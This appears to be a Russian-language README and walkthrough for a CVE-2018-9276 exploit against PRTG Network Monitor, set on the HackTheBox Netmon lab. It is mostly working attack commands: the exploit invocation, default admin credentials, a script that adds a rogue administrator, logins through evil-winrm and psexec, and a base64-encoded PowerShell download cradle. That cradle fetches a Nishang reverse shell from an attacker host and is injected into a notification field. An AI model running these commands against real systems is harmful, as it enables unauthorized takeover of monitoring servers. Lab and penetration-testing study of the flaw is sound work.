
CVE-2018-9276 PRTG < 18.2.39 Reverse Shell (поддержка Python3)
CVE-2018-9276 PRTG < 18.2.39 Обратный шелл (поддержка Python3)
git clone https://github.com/A1vinSmith/CVE-2018-9276.git
./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass
prtgadmin:prtgadmin. Возможно, стоит проверить базу данных или журналы, чтобы получить их. https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data--lport 445, если порт не занят.HTB Netmon box
OS Name: Microsoft Windows Server 2016 Standard
OS Version: 10.0.14393 N/A Build 14393
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00376-30821-30176-AA362
Original Install Date: 2/3/2019, 7:05:45 AM
System Boot Time: 7/28/2021, 9:02:41 PM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Большое спасибо wildkindcc за версию на Python2 https://github.com/wildkindcc/CVE-2018-9276
Учетные данные необходимы для выполнения эксплойта. Сначала войдите и получите аутентифицированный cookie, чтобы добавить нового пользователя.
./prtg-exploit.sh -u http://10.10.10.10 -c "OCTOPUS1813713946=XXX"
// Войдите как новый пользователь через evil-winrm
evil-winrm -i 10.10.10.10 -u pentest -p 'P3nT3st!'
// или альтернативный psexec.py
python3 /path/etc/impacket/examples/psexec.py pentest:'P3nT3st!'@10.10.10.10

Если мы не хотим добавлять пользователя, для лучшей OPSEC мы можем получить обратный шелл. Однако из-за HTML-кодирования многие символы кодируются. Мы можем обойти это, используя выполнение PowerShell через base64. Нам нужно создать команду, закодированную в base64. Однако она должна быть в кодировке, которую использует Windows, т.е. UTF-16LE.
❯ echo -n "IEX(new-object net.webclient).downloadstring('http://10.10.10.100/Invoke-PowerShellTcp.ps1' )" | iconv -t UTF-16LE | base64 -w0
SQBFAFgAKABu...SNIP...HMAMQAnACAAKQA=
Мы используем iconv для преобразования в целевую кодировку и выполним этот обратный шелл из Nishang. https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
Скачайте скрипт и добавьте команду echo в последнюю строку.
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.100 -Port 4444' >> Invoke-PowerShellTcp.ps1
Теперь запустите простой HTTP-сервер и создайте новое уведомление.
python3 -m http.server 80
Нажмите Setup > Account Settings > Notifications -> нажмите "Add new notification" в крайнем правом углу. Вызовите уведомление, нажав кнопку Bell.
abc.txt | powershell -enc SQBFAFgAKABu...SNIP...HMAMQAnACAAKQA=
